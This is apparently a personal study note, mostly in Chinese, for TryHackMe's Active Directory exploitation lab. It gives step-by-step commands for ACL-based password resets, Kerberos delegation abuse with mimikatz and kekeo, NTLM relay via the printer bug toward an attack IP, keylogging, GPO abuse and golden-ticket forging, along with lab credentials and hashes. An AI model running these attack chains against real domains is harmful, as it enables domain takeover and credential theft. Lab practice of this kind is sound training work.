barbara.reid
Password1
ssh za.tryhackme.loc\\barbara.reid@thmwrk1.za.tryhackme.loc
ssh za.tryhackme.loc\\t2_robin.wyatt@thmserver1.za.tryhackme.loc
https://tryhackme.com/r/room/exploitingad
BloodHound官方文档
Permission Delegation(权限委派)
权限委派利用通常被称为基于ACL的攻击
。Active Directory允许管理员配置访问控制项(ACE)
,这些访问控制项会填充自定义访问控制列表(DACL)
,因此得名基于ACL的攻击。几乎任何AD对象都可以使用ACE进行保护,ACE描述了任何其他AD对象对目标对象的允许和拒绝权限。
所以当前用户可以把其他用户加入到IT Support
组中
Add-AdGroupMember "IT SUPPORT" -Members "UserName"
失败报错access denied
,表明您的 IT 支持组成员身份尚未通过网络完全复制。
并不是立即生效,可能需要等待几分钟,gpupdate /force
可能可以缩短等待时间
IT Support
组成员对Tier 2 Admins
组的用户有ForceChangePassword
权限,可以强制修改用户的密码
//
$passwd = CovertTo-SecureString "PasswordString" -AsPlaintext -Force
Set-AdAccountPassword -Identity "UserName" -Reset -NewPassword $passwd
运行之后,目标用户的密码就被修改了
Kerberos Delegation(Kerberos 委派)
AD 委派 通常是指Kerberos委派,而不是Permission Delegation。
Kerberos 委派的实际用途是使一个应用程序能够访问托管在不同服务器上的资源。一个例子是,一个Web服务器需要访问托管在数据库服务器上的SQL数据库,以支持它所托管的Web应用程序。没有委派的情况下,我们可能会使用一个AD服务账户,并为其提供直接访问数据库的权限。当对Web应用程序发出请求时,该服务账户将用于认证到数据库并获取信息。
然而,我们可以允许将这个服务账户委派给SQL服务器服务。一旦用户登录到我们的Web应用程序,服务账户就会代表该用户请求访问数据库。这意味着用户只能访问他们有相关权限的数据,而不需要为服务账户本身提供任何数据库权限。
约束委派和无约束委派 (Constrained vs Unconstrained)
无约束委派:只要用户设置了
TRUSTED_FOR_DELEGATION
标志,主机对其可以代表连接的用户访问的资源没有限制。用户连接后,主机会为用户请求 TGT 并将其缓存在本地以供将来使用。- 有了 TGT(票据授予票据),攻击者可以继续访问该 TGT 所属用户可以访问的任何资源。
约束委派:限制了服务账户可以代表用户请求的服务类型。
- 约束委派限制了帐户可以委派的服务,从而限制了帐户被泄露时的风险
- HTTP、CIFS、LDAP、HOST、MSSQL。
- 基于资源的约束委派:(Resource-Based Constrained Delegation) 指定哪些对象可以委托给它,而不是指定哪个对象可以委托给哪个服务。
mimikatz.exe
mimikatz # token::elevate
mimikatz # lsadump::secrets // 可以获取用户svcIIS的密码Password1@
# kekeo 导出TGT
kekeo.exe
kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@
kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones // user为想要模拟的用户
# 然后再用mimikatz 导入TGT
mimikatz # privilege::debug
mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
# 创建新的会话
PS C:> New-PSSession -ComputerName thmserver1.za.tryhackme.loc
# 进入会话
PS C:\> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
getST.py -spn HTTP/thmserver1.za.tryhackme.loc -impersonate administrator 'za.tryhackme.loc/svcIIS:Password1@'
psexec.py -k -no-pass za.tryhackme.loc/Administrator@thmserver1.za.tryhackme.loc
Automated Relays 中继服务
- 可以强制计算机帐户发起身份验证请求
计算机帐户(Computer accounts) – 与用户帐户一样 – 有用户名和密码 - 30天轮换一次
The Printer Bug
- 允许域用户强制计算机帐户连接到任意 IP 地址
所需要的条件
- 拥有一组有效的 AD 凭据
- 目标主机正在运行 SMB
- 目标主机正在运行 Print Spooler 服务
- 不得强制执行 SMB 签名
// 验证是否在运行打印程序 Get-WmiObject Win32_Printer -Computer hostname.fqdn // 或者 Get-PrinterPort -ComputerName hostname.fqdn
验证是否强制执行SMB签名
sudo nmap -Pn -p445 --script=smb2-security-mode thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc
MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p
sudo ntlmrelayx.py -smb2support -t smb://"10.200.60.201" -debug
.\SpoolSample.exe thmserver2.za.tryhackme.loc "ATTACK IP"
Exploiting AD Users 利用 AD 用户
枚举信息
meterpreter\>migrate 3612
.kdbx
文件,可以用keepassxc
和kpcli
打开
// msf 捕获输入
keyscan_start
keyscan_dump
keyscan_stop
密码: Imreallysurenoonewillguessmypassword
Exploiting GPOs 利用 GPO
组策略对象
Uname: svcServMan
Pass: Sup3rStr0ngPass!@
runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe
mmc.exe
File -> Add/Remove Snap-ins -> Group Poclicy Managment
OK
展开到Group Policy Management -> Forest:tryhackme.loc -> Domain -> za.tryhackme.com -> Servers -> Management Servers -> Management Server Pushes
右键 Edit
展开到Management Server Pushes -> Computer Configuration -> Policies -> Windows Setting -> Secure Setting -> Restricted Groups
右键 Add group
, 给出Group Name 之后添加Member Of,等待 15 minu左右 ( 还可以使用gpupdate /force
更新)
之后该组就有了管理员权限
Certificates 漏洞
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://tryhackme.com/r/room/adcertificatetemplates
略
Domain Trusts 域信任
域之间可配置的信任主要有两种类型:
- 定向 - 信任从信任域流向受信任域的方向
- 可传递 - 信任关系不仅仅限于两个域,还包括其他受信任的域
KRBTGT and Golden Tickets (金票)
在黄金票证攻击中,我们完全绕过 KDC(密钥分发中心),并创建我们自己的 TGT,从本质上来说,我们自己成为了一个票据授予服务器(TGS)。
需要的信息:
- 域的 FQDN
- 域的安全标识符 (SID)
- 要模拟的帐户的用户名
- KRBTGT 密码哈希
mimikatz # lsadump::dcsync /user:za\krbtgt
mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt